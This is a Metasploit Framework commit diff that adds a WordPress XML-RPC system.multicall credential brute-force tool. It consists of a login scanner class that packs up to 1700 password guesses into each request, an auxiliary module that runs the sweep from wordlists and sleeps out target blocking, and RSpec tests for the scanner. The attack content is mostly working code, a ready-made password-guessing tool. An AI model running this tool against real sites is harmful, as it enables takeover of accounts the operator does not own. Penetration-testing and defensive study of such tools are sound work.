Land #6226, Add Wordpress XML-RPC system.multicall Credential BF
commit
6187354392
|
@ -0,0 +1,150 @@
|
|||
require 'metasploit/framework/login_scanner/http'
|
||||
require 'nokogiri'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
class WordpressMulticall < HTTP
|
||||
|
||||
# @!attribute passwords
|
||||
# @return [Array]
|
||||
attr_accessor :passwords
|
||||
|
||||
# @!attribute chunk_size, limits number of passwords per XML request
|
||||
# @return [Fixnum]
|
||||
attr_accessor :chunk_size
|
||||
|
||||
# @!attribute block_wait, time to wait if got blocked by the target
|
||||
# @return [Fixnum]
|
||||
attr_accessor :block_wait
|
||||
|
||||
# @!attribute base_uri
|
||||
# @return [String]
|
||||
attr_accessor :base_uri
|
||||
|
||||
# @!attribute wordpress_url_xmlrpc
|
||||
# @return [String]
|
||||
attr_accessor :wordpress_url_xmlrpc
|
||||
|
||||
|
||||
def set_default
|
||||
self.wordpress_url_xmlrpc = 'xmlrpc.php'
|
||||
self.block_wait = 6
|
||||
self.base_uri = '/'
|
||||
self.chunk_size = 1700
|
||||
end
|
||||
|
||||
# Returns the XML data that is used for the login.
|
||||
#
|
||||
# @param user [String] username
|
||||
# @return [Array]
|
||||
def generate_xml(user)
|
||||
xml_payloads = []
|
||||
|
||||
# Evil XML | Limit number of log-ins to CHUNKSIZE/request due
|
||||
# Wordpress limitation which is 1700 maximum.
|
||||
passwords.each_slice(chunk_size) do |pass_group|
|
||||
document = Nokogiri::XML::Builder.new do |xml|
|
||||
xml.methodCall {
|
||||
xml.methodName("system.multicall")
|
||||
xml.params {
|
||||
xml.param {
|
||||
xml.value {
|
||||
xml.array {
|
||||
xml.data {
|
||||
pass_group.each do |pass|
|
||||
xml.value {
|
||||
xml.struct {
|
||||
xml.member {
|
||||
xml.name("methodName")
|
||||
xml.value { xml.string("wp.getUsersBlogs") }}
|
||||
xml.member {
|
||||
xml.name("params")
|
||||
xml.value {
|
||||
xml.array {
|
||||
xml.data {
|
||||
xml.value {
|
||||
xml.array {
|
||||
xml.data {
|
||||
xml.value { xml.string(user) }
|
||||
xml.value { xml.string(pass) }
|
||||
}}}}}}}}}
|
||||
end
|
||||
}}}}}}
|
||||
end
|
||||
xml_payloads << document.to_xml
|
||||
end
|
||||
|
||||
xml_payloads
|
||||
end
|
||||
|
||||
# Sends an HTTP request to Wordpress.
|
||||
#
|
||||
# @param xml [String] XML data.
|
||||
# @return [void]
|
||||
def send_wp_request(xml)
|
||||
opts =
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri("#{base_uri}/#{wordpress_url_xmlrpc}"),
|
||||
'data' => xml,
|
||||
'ctype' =>'text/xml'
|
||||
}
|
||||
|
||||
client = Rex::Proto::Http::Client.new(rhost)
|
||||
client.connect
|
||||
req = client.request_cgi(opts)
|
||||
res = client.send_recv(req)
|
||||
|
||||
if res && res.code != 200
|
||||
sleep(block_wait * 60)
|
||||
end
|
||||
|
||||
@res = res
|
||||
end
|
||||
|
||||
|
||||
# Attempts to login.
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential]
|
||||
# @return [Metasploit::Framework::LoginScanner::Result]
|
||||
def attempt_login(credential)
|
||||
generate_xml(credential.public).each do |xml|
|
||||
send_wp_request(xml)
|
||||
req_xml = Nokogiri::Slop(xml)
|
||||
res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join)
|
||||
res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
|
||||
result = value.at("struct/member/value/int")
|
||||
if result.nil?
|
||||
pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
|
||||
credential.private = pass
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL)
|
||||
return Result.new(result_opts)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT)
|
||||
return Result.new(result_opts)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
@ -78,4 +78,3 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -0,0 +1,137 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
require 'metasploit/framework/login_scanner/wordpress_multicall'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Wordpress XML-RPC system.multicall Credential Collector',
|
||||
'Description' => %q{
|
||||
This module attempts to find Wordpress credentials by abusing the XMLRPC
|
||||
APIs. Wordpress versions prior to 4.4.1 are suitable for this type of
|
||||
technique. For newer versions, the script will drop the CHUNKSIZE to 1 automatically.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'KingSabri <King.Sabri[at]gmail.com>' ,
|
||||
'William <WCoppola[at]Lares.com>',
|
||||
'sinn3r'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/' ],
|
||||
['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"),
|
||||
'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")
|
||||
}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('BLOCKEDWAIT', [ true, 'Time(minutes) to wait if got blocked', 6 ]),
|
||||
OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ]),
|
||||
], self.class)
|
||||
|
||||
# Not supporting these options, because we are not actually letting the API to process the
|
||||
# password list for us. We are doing that in Metasploit::Framework::LoginScanner::WordpressRPC.
|
||||
deregister_options(
|
||||
'BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_PASS'
|
||||
)
|
||||
end
|
||||
|
||||
def passwords
|
||||
File.readlines(datastore['PASS_FILE']).lazy.map {|pass| pass.chomp}
|
||||
end
|
||||
|
||||
def check_options
|
||||
if datastore['CHUNKSIZE'] > 1700
|
||||
fail_with(Failure::BadConfig, 'Option CHUNKSIZE cannot be larger than 1700')
|
||||
end
|
||||
end
|
||||
|
||||
def setup
|
||||
check_options
|
||||
end
|
||||
|
||||
def check_setup
|
||||
version = wordpress_version
|
||||
vprint_status("Found Wordpress version: #{version}")
|
||||
|
||||
if !wordpress_and_online?
|
||||
print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)")
|
||||
false
|
||||
elsif !wordpress_xmlrpc_enabled?
|
||||
print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC")
|
||||
false
|
||||
elsif Gem::Version.new(version) >= Gem::Version.new('4.4.1')
|
||||
print_error("#{peer}#{wordpress_url_xmlrpc} Target's version (#{version}) is not vulnerable to this attack.")
|
||||
vprint_status("Dropping CHUNKSIZE from #{datastore['CHUNKSIZE']} to 1")
|
||||
datastore['CHUNKSIZE'] = 1
|
||||
true
|
||||
else
|
||||
print_status("Target #{peer} is running Wordpress")
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
if check_setup
|
||||
print_status("XMLRPC enabled, Hello message received!")
|
||||
else
|
||||
print_error("Abborting the attack.")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Starting XML-RPC login sweep...")
|
||||
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: true,
|
||||
user_file: datastore['USER_FILE'],
|
||||
username: datastore['USERNAME']
|
||||
)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::WordpressMulticall.new(
|
||||
configure_http_login_scanner(
|
||||
passwords: passwords,
|
||||
chunk_size: datastore['CHUNKSIZE'],
|
||||
block_wait: datastore['BLOCKEDWAIT'],
|
||||
base_uri: target_uri.path,
|
||||
uri: wordpress_url_xmlrpc,
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5,
|
||||
)
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
module_fullname: self.fullname,
|
||||
workspace_id: myworkspace_id
|
||||
)
|
||||
|
||||
case result.status
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
print_brute :level => :vgood, :ip => ip, :msg => "SUCCESSFUL: #{result.credential}"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,108 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/wordpress_multicall'
|
||||
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::WordpressMulticall do
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
|
||||
subject do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:username) do
|
||||
'username'
|
||||
end
|
||||
|
||||
let(:good_password) do
|
||||
'goodpassword'
|
||||
end
|
||||
|
||||
let(:passwords) do
|
||||
[good_password]
|
||||
end
|
||||
|
||||
let(:good_response) do
|
||||
%Q|<?xml version="1.0" encoding="UTF-8"?>
|
||||
<methodResponse>
|
||||
<params>
|
||||
<param>
|
||||
<value>
|
||||
<array><data>
|
||||
<value><array><data>
|
||||
<value><array><data>
|
||||
<value><struct>
|
||||
<member><name>isAdmin</name><value><boolean>1</boolean></value></member>
|
||||
<member><name>url</name><value><string>http://192.168.1.202/wordpress/</string></value></member>
|
||||
<member><name>blogid</name><value><string>1</string></value></member>
|
||||
<member><name>blogName</name><value><string>Test</string></value></member>
|
||||
<member><name>xmlrpc</name><value><string>http://192.168.1.202/wordpress/xmlrpc.php</string></value></member>
|
||||
</struct></value>
|
||||
</data></array></value>
|
||||
</data></array></value>
|
||||
</data></array>
|
||||
</value>
|
||||
</param>
|
||||
</params>
|
||||
</methodResponse>
|
||||
|
|
||||
end
|
||||
|
||||
let(:response) do
|
||||
r = Rex::Proto::Http::Response.new(200, 'OK')
|
||||
r.body = good_response
|
||||
r
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args)
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response)
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args)
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close)
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect)
|
||||
end
|
||||
|
||||
before do
|
||||
subject.instance_variable_set(:@passwords, passwords)
|
||||
subject.set_default
|
||||
end
|
||||
|
||||
describe '#generate_xml' do
|
||||
context 'when a username is given' do
|
||||
it 'returns an array' do
|
||||
expect(subject.generate_xml(username)).to be_kind_of(Array)
|
||||
end
|
||||
|
||||
it 'contains our username' do
|
||||
xml = subject.generate_xml(username).first
|
||||
expect(xml).to include('<?xml version="1.0"?>')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#attempt_login' do
|
||||
context 'when the credential is valid' do
|
||||
it 'returns a Result object indicating a successful login' do
|
||||
cred_obj = Metasploit::Framework::Credential.new(public: username, private: good_password)
|
||||
result = subject.attempt_login(cred_obj)
|
||||
expect(result).to be_kind_of(::Metasploit::Framework::LoginScanner::Result)
|
||||
expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#send_wp_request' do
|
||||
context 'when a request is sent' do
|
||||
it 'sets @res with an HTTP response object' do
|
||||
subject.send_wp_request('xml')
|
||||
expect(subject.instance_variable_get(:@res)).to be_kind_of(Rex::Proto::Http::Response)
|
||||
end
|
||||
|
||||
it 'sets @res with an XML document' do
|
||||
subject.send_wp_request('xml')
|
||||
expect(subject.instance_variable_get(:@res).body).to include('<?xml version="1.0" encoding="UTF-8"?>')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue